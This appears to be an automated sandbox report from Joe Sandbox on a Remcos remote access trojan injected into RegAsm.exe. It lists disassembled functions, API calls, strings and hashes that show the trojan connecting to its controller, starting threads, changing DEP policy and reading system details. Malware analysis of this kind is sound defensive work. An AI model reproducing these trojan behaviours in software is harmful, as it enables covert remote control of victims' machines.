40ee44-40ee4f call 436e90 190->213 204->177 218 40ee53-40ee9e call 401f04 call 43f809 call 40247c call 401fab call 40247c call 401fab call 413947 212->218 213->218 272 40eea3-40eec8 call 4347a1 call 401e65 call 40b9bd 218->272 287 40efc1 234->287 288 40efdc-40efde 234->288 272->234 286 40eece-40eeed call 401e65 call 41bc5e call 40f474 272->286 286->234 306 40eeef 286->306 290 40efc3-40efda call 41cd9b CreateThread 287->290 291 40efe0-40efe2 288->291 292 40efe4 288->292 293 40efea-40f0c6 call 402093 * 2 call 41b4ef call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43baac call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409de4 call 401e65 call 401fab 290->293 291->290 292->293 344 40f101 293->344 345 40f0c8-40f0ff call 4344ea call 401e65 call 401fab CreateThread 293->345 306->93 346 40f103-40f11b call 401e65 call 401fab 344->346 345->346 357 40f159-40f16c call 401e65 call 401fab 346->357 358 40f11d-40f154 call 4344ea call 401e65 call 401fab CreateThread 346->358 367 40f1cc-40f1df call 401e65 call 401fab 357->367 368 40f16e-40f1c7 call 401e65 call 401fab call 401e65 call 401fab call 40d9e8 call 401f13 call 401f09 CreateThread 357->368 358->357 379 40f1e1-40f215 call 401e65 call 401fab call 401e65 call 401fab call 43baac call 40c162 367->379 380 40f21a-40f23e call 41b60d call 401f13 call 401f09 367->380 368->367 379->380 402 40f240-40f241 SetProcessDEPPolicy 380->402 403 40f243-40f256 CreateThread 380->403 402->403 406 40f264-40f26b 403->406 407 40f258-40f262 CreateThread 403->407 408 40f279-40f280 406->408 409 40f26d-40f277 CreateThread 406->409 407->406 412 40f282-40f285 408->412 413 40f28e 408->413 409->408 415 40f287-40f28c 412->415 416 40f2cc-40f2df call 401fab call 4134ff 412->416 418 40f293-40f2c7 call 402093 call 4052fd call 402093 call 41b4ef call 401fd8 413->418 415->418 425 40f2e4-40f2e7 416->425 418->416 425->157 427 40f2ed-40f32d call 41bc5e call 401f04 call 41361b call 401f09 call 401f04 425->427 443 40f346-40f34b DeleteFileW 427->443 444 40f34d 443->444 445 40f32f-40f332 443->445 444->126 445->126 446 40f334-40f341 Sleep call 401f04 445->446 446->443
                              APIs
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                              • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 0040E9EE
                                • Part of subcall function 00410F37: __EH_prolog.LIBCMT ref: 00410F3C
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                              • String ID: SG$ SG$8SG$8SG$Access Level: $Administrator$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Exe$Inj$PSG$Remcos Agent initialized$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                              • API String ID: 2830904901-3701325316
                              • Opcode ID: 30c98d85052ffbff03e9993bd8104adc494a48be42afa8666ff44a65e52adbf7
                              • Instruction ID: d4e128c763ae9979da4f7e35a5cae12564b96cb69b39ecb6445d524eb2b23fe8
                              • Opcode Fuzzy Hash: 30c98d85052ffbff03e9993bd8104adc494a48be42afa8666ff44a65e52adbf7
                              • Instruction Fuzzy Hash: 6332D860B043412BDA24B7729C67B6E26994F81748F50483FB9467B2E3EFBC4D45839E
                              Function 00414F2A Relevance: 46.3, APIs: 5, Strings: 21, Instructions: 809sleepnetworkCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 448 414f2a-414f72 call 4020df call 41b8b3 call 4020df call 401e65 call 401fab call 43baac 461 414f81-414fcd call 402093 call 401e65 call 4020f6 call 41be1b call 40489e call 401e65 call 40b9bd 448->461 462 414f74-414f7b Sleep 448->462 477 415041-4150dc call 402093 call 401e65 call 4020f6 call 41be1b call 401e65 * 2 call 406c1e call 402f10 call 401fe2 call 401fd8 * 2 call 401e65 call 405b05 461->477 478 414fcf-41503e call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 40473d 461->478 462->461 531 4150ec-4150f3 477->531 532 4150de-4150ea 477->532 478->477 533 4150f8-41518a call 405aa6 call 40531e call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 2 call 401e65 call 401fab call 401e65 call 401fab call 414ee9 531->533 532->533 560 4151d5-4151e3 call 40482d 533->560 561 41518c-4151d0 WSAGetLastError call 41cae1 call 4052fd call 402093 call 41b4ef call 401fd8 533->561 567 415210-415225 call 404f51 call 4048c8 560->567 568 4151e5-41520b call 402093 * 2 call 41b4ef 560->568 583 415aa3-415ab5 call 404e26 call 4021fa 561->583 567->583 584 41522b-41537e call 401e65 * 2 call 40531e call 406383 call 402f10 call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 4 call 41b7e0 call 4145bd call 40905c call 441e81 call 401e65 call 4020f6 call 40247c call 401fab * 2 call 4136f8 567->584 568->583 596 415ab7-415ad7 call 401e65 call 401fab call 43baac Sleep 583->596 597 415add-415ae5 call 401e8d 583->597 648 415380-41538d call 405aa6 584->648 649 415392-4153b9 call 401fab call 4135a6 584->649 596->597 597->477 648->649 655 4153c0-41577f call 40417e call 40dd89 call 41bc42 call 41bd1e call 41bb8e call 401e65 GetTickCount call 41bb8e call 41bae6 call 41bb8e * 2 call 41ba96 call 41bd1e * 5 call 40f8d1 call 41bd1e call 402f31 call 402ea1 call 402f10 call 402ea1 call 402f10 * 3 call 402ea1 call 402f10 call 406383 call 402f10 call 406383 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 406383 call 402f10 * 5 call 402ea1 call 402f10 call 402ea1 call 402f10 * 7 call 402ea1 649->655 656 4153bb-4153bd 649->656 782 415781 call 404aa1 655->782 656->655 783 415786-415a0a call 401fd8 * 50 call 401f09 call 401fd8 * 6 call 401f09 call 404c10 782->783 901 415a0f-415a16 783->901 902 415a18-415a1f 901->902 903 415a2a-415a31 901->903 902->903 904 415a21-415a23 902->904 905 415a33-415a38 call 40b051 903->905 906 415a3d-415a6f call 405a6b call 402093 * 2 call 41b4ef 903->906 904->903 905->906 917 415a71-415a7d CreateThread 906->917 918 415a83-415a9e call 401fd8 * 2 call 401f09 906->918 917->918 918->583
                              APIs
                              • Sleep.KERNEL32(00000000,00000029,004752F0,004750E4,00000000), ref: 00414F7B
                              • WSAGetLastError.WS2_32(00000000,00000001), ref: 0041518C
                              • Sleep.KERNEL32(00000000,00000002), ref: 00415AD7
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Sleep$ErrorLastLocalTime
                              • String ID: | $%I64u$5.0.0 Pro$8SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$PSG$TLS Off$TLS On $dMG$hlight$name$NG$NG$PG$PG$PG
                              • API String ID: 524882891-2158775120
                              • Opcode ID: de291bc130383025817121ebc17e10697a1bf1b5d4139111e3b17213d67bbabe
                              • Instruction ID: 324fc11d7bea0fba9c16e2c7d7b547a311b01f704130931fc4cc70caa797af2d
                              • Opcode Fuzzy Hash: de291bc130383025817121ebc17e10697a1bf1b5d4139111e3b17213d67bbabe
                              • Instruction Fuzzy Hash: 22526B31A001155ACB18F732DD96AFE73769F90344F6041BFE40A761E2EF781E858A5D
                              Function 00414D86 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 925 414d86-414dc2 926 414dc8-414ddd GetSystemDirectoryA 925->926 927 414edd-414ee8 925->927 928 414ed3 926->928 929 414de3-414e2f call 441a3e call 441a98 LoadLibraryA 926->929 928->927 934 414e31-414e3b GetProcAddress 929->934 935 414e46-414e80 call 441a3e call 441a98 LoadLibraryA 929->935 936 414e42-414e44 934->936 937 414e3d-414e40 FreeLibrary 934->937 948 414e82-414e8c GetProcAddress 935->948 949 414ecf-414ed2 935->949 936->935 939 414e97 936->939 937->936 941 414e99-414eaa GetProcAddress 939->941 943 414eb4-414eb7 FreeLibrary 941->943 944 414eac-414eb0 941->944 947 414eb9-414ebb 943->947 944->941 946 414eb2 944->946 946->947 947->949 952 414ebd-414ecd 947->952 950 414e93-414e95 948->950 951 414e8e-414e91 FreeLibrary 948->951 949->928 950->939 950->949 951->950 952->949 952->952
                              APIs
                              • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                              • LoadLibraryA.KERNEL32(?), ref: 00414E17
                              • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                              • FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                              • LoadLibraryA.KERNEL32(?), ref: 00414E76
                              • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                              • FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                              • GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                              • FreeLibrary.KERNEL32(00000000), ref: 00414EB5
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Library$AddressFreeProc$Load$DirectorySystem
                              • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                              • API String ID: 2490988753-744132762
                              • Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                              • Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
                              • Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                              • Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE
                              Function 004048C8 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 144networkCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • connect.WS2_32(?,?,?), ref: 004048E0
                              • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                              • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                              • WSAGetLastError.WS2_32 ref: 00404A21
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateEvent$ErrorLastLocalTimeconnect
                              • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                              • API String ID: 994465650-2151626615
                              • Opcode ID: 99cb689bb5f18c3443efc10de2b69162055e835058a5c35f32943c28cb679500
                              • Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
                              • Opcode Fuzzy Hash: 99cb689bb5f18c3443efc10de2b69162055e835058a5c35f32943c28cb679500
                              • Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF
                              Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1028 40da34-40da59 call 401f86 1031 40db83-40dba9 call 401f04 GetLongPathNameW call 40417e 1028->1031 1032 40da5f 1028->1032 1055 40dbae-40dc1b call 40417e call 40ddd1 call 402fa5 * 2 call 401f09 * 5 1031->1055 1034 40da70-40da7e call 41b5b4 call 401f13 1032->1034 1035 40da91-40da96 1032->1035 1036 40db51-40db56 1032->1036 1037 40daa5-40daac call 41bfb7 1032->1037 1038 40da66-40da6b 1032->1038 1039 40db58-40db5d 1032->1039 1040 40da9b-40daa0 1032->1040 1041 40db6e 1032->1041 1042 40db5f-40db64 call 43c0cf 1032->1042 1059 40da83 1034->1059 1044 40db73-40db78 call 43c0cf 1035->1044 1036->1044 1056 40db00-40db4c call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1037->1056 1057 40daae-40dafe call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1037->1057 1038->1044 1039->1044 1040->1044 1041->1044 1052 40db69-40db6c 1042->1052 1058 40db79-40db7e call 409057 1044->1058 1052->1041 1052->1058 1056->1059 1064 40da87-40da8c call 401f09 1057->1064 1058->1031 1059->1064 1064->1031
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LongNamePath
                              • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                              • API String ID: 82841172-425784914
                              • Opcode ID: f699c62159184187b538f79cdc1dbfdb69b721564b31670cb9aa7a5423fa7b62
                              • Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
                              • Opcode Fuzzy Hash: f699c62159184187b538f79cdc1dbfdb69b721564b31670cb9aa7a5423fa7b62
                              • Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F
                              Function 0044AC49 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1110 44ac49-44ac62 1111 44ac64-44ac74 call 446766 1110->1111 1112 44ac78-44ac7d 1110->1112 1111->1112 1120 44ac76 1111->1120 1114 44ac7f-44ac87 1112->1114 1115 44ac8a-44acae MultiByteToWideChar 1112->1115 1114->1115 1117 44acb4-44acc0 1115->1117 1118 44ae41-44ae54 call 434fcb 1115->1118 1121 44ad14 1117->1121 1122 44acc2-44acd3 1117->1122 1120->1112 1126 44ad16-44ad18 1121->1126 1123 44acd5-44ace4 call 457190 1122->1123 1124 44acf2-44ad03 call 446137 1122->1124 1129 44ae36 1123->1129 1135 44acea-44acf0 1123->1135 1124->1129 1136 44ad09 1124->1136 1126->1129 1130 44ad1e-44ad31 MultiByteToWideChar 1126->1130 1134 44ae38-44ae3f call 435e40 1129->1134 1130->1129 1133 44ad37-44ad49 call 448bb3 1130->1133 1140 44ad4e-44ad52 1133->1140 1134->1118 1139 44ad0f-44ad12 1135->1139 1136->1139 1139->1126 1140->1129 1142 44ad58-44ad5f 1140->1142 1143 44ad61-44ad66 1142->1143 1144 44ad99-44ada5 1142->1144 1143->1134 1145 44ad6c-44ad6e 1143->1145 1146 44ada7-44adb8 1144->1146 1147 44adf1 1144->1147 1145->1129 1148 44ad74-44ad8e call 448bb3 1145->1148 1150 44add3-44ade4 call 446137 1146->1150 1151 44adba-44adc9 call 457190 1146->1151 1149 44adf3-44adf5 1147->1149 1148->1134 1162 44ad94 1148->1162 1153 44adf7-44ae10 call 448bb3 1149->1153 1154 44ae2f-44ae35 call 435e40 1149->1154 1150->1154 1166 44ade6 1150->1166 1151->1154 1165 44adcb-44add1 1151->1165 1153->1154 1168 44ae12-44ae19 1153->1168 1154->1129 1162->1129 1167 44adec-44adef 1165->1167 1166->1167 1167->1149 1169 44ae55-44ae5b 1168->1169 1170 44ae1b-44ae1c 1168->1170 1171 44ae1d-44ae2d WideCharToMultiByte 1169->1171 1170->1171 1171->1154 1172 44ae5d-44ae64 call 435e40 1171->1172 1172->1134
                              APIs
                              • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044ACA3
                              • __alloca_probe_16.LIBCMT ref: 0044ACDB
                              • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044AD29
                              • __alloca_probe_16.LIBCMT ref: 0044ADC0
                              • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
                              • __freea.LIBCMT ref: 0044AE30
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              • __freea.LIBCMT ref: 0044AE39
                              • __freea.LIBCMT ref: 0044AE5E
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                              • String ID:
                              • API String ID: 3864826663-0
                              • Opcode ID: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                              • Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
                              • Opcode Fuzzy Hash: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                              • Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A
                              Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1193 41b2c3-41b31a call 41bfb7 call 4135a6 call 401fe2 call 401fd8 call 406ae1 1204 41b35d-41b366 1193->1204 1205 41b31c-41b347 call 4135a6 call 401fab StrToIntA 1193->1205 1207 41b368-41b36d 1204->1207 1208 41b36f 1204->1208 1215 41b355-41b358 call 401fd8 1205->1215 1216 41b349-41b352 call 41cf69 1205->1216 1210 41b374-41b37f call 40537d 1207->1210 1208->1210 1215->1204 1216->1215
                              APIs
                                • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                                • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                              • StrToIntA.SHLWAPI(00000000), ref: 0041B33C
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCurrentOpenProcessQueryValue
                              • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                              • API String ID: 1866151309-2070987746
                              • Opcode ID: 8f8f5d60ce35d1a1c8195802feeff86a127f68f3eb7fb2a0a498f7b0ec669ebf
                              • Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
                              • Opcode Fuzzy Hash: 8f8f5d60ce35d1a1c8195802feeff86a127f68f3eb7fb2a0a498f7b0ec669ebf
                              • Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE
                              Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CountEventTick
                              • String ID: !D@$NG
                              • API String ID: 180926312-2721294649
                              • Opcode ID: d8b340ea6d4709a026dcc371673bc56ec9942c34c40e93aa1caf0058373bc741
                              • Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
                              • Opcode Fuzzy Hash: d8b340ea6d4709a026dcc371673bc56ec9942c34c40e93aa1caf0058373bc741
                              • Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A
                              Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1358 404f51-404f5f 1359 404f65-404f6c 1358->1359 1360 404fea 1358->1360 1362 404f74-404f7b 1359->1362 1363 404f6e-404f72 1359->1363 1361 404fec-404ff1 1360->1361 1364 404fc0-404fe8 CreateEventA CreateThread 1362->1364 1365 404f7d-404fbb GetLocalTime call 41bb8e call 4052fd call 402093 call 41b4ef call 401fd8 1362->1365 1363->1364 1364->1361 1365->1364
                              APIs
                              • GetLocalTime.KERNEL32(00000001,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404F81
                              • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404FCD
                              • CreateThread.KERNEL32(00000000,00000000,Function_00005150,?,00000000,00000000), ref: 00404FE0
                              Strings
                              • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Create$EventLocalThreadTime
                              • String ID: KeepAlive | Enabled | Timeout:
                              • API String ID: 2532271599-1507639952
                              • Opcode ID: 27b858f6950e3623d995e23d6d4fe1d77f4f118926dc16c8cee4ff6bd928c013
                              • Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
                              • Opcode Fuzzy Hash: 27b858f6950e3623d995e23d6d4fe1d77f4f118926dc16c8cee4ff6bd928c013
                              • Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA
                              Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1375 41376f-413786 RegCreateKeyA 1376 413788-4137bd call 40247c call 401fab RegSetValueExA RegCloseKey 1375->1376 1377 4137bf 1375->1377 1378 4137c1-4137cf call 401fd8 1376->1378 1377->1378
                              APIs
                              • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                              • RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                              • RegCloseKey.KERNEL32(?), ref: 004137B1
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateValue
                              • String ID: pth_unenc
                              • API String ID: 1818849710-4028850238
                              • Opcode ID: 4f15aeb283403f146db3f09acdab1127f952c22a8adcae04a958ae624d8eac3f
                              • Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
                              • Opcode Fuzzy Hash: 4f15aeb283403f146db3f09acdab1127f952c22a8adcae04a958ae624d8eac3f
                              • Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54
                              Function 00404CC3 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                              • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00404DD2
                              • CloseHandle.KERNEL32(?), ref: 00404DDB
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Create$CloseEventHandleObjectSingleThreadWait
                              • String ID:
                              • API String ID: 3360349984-0
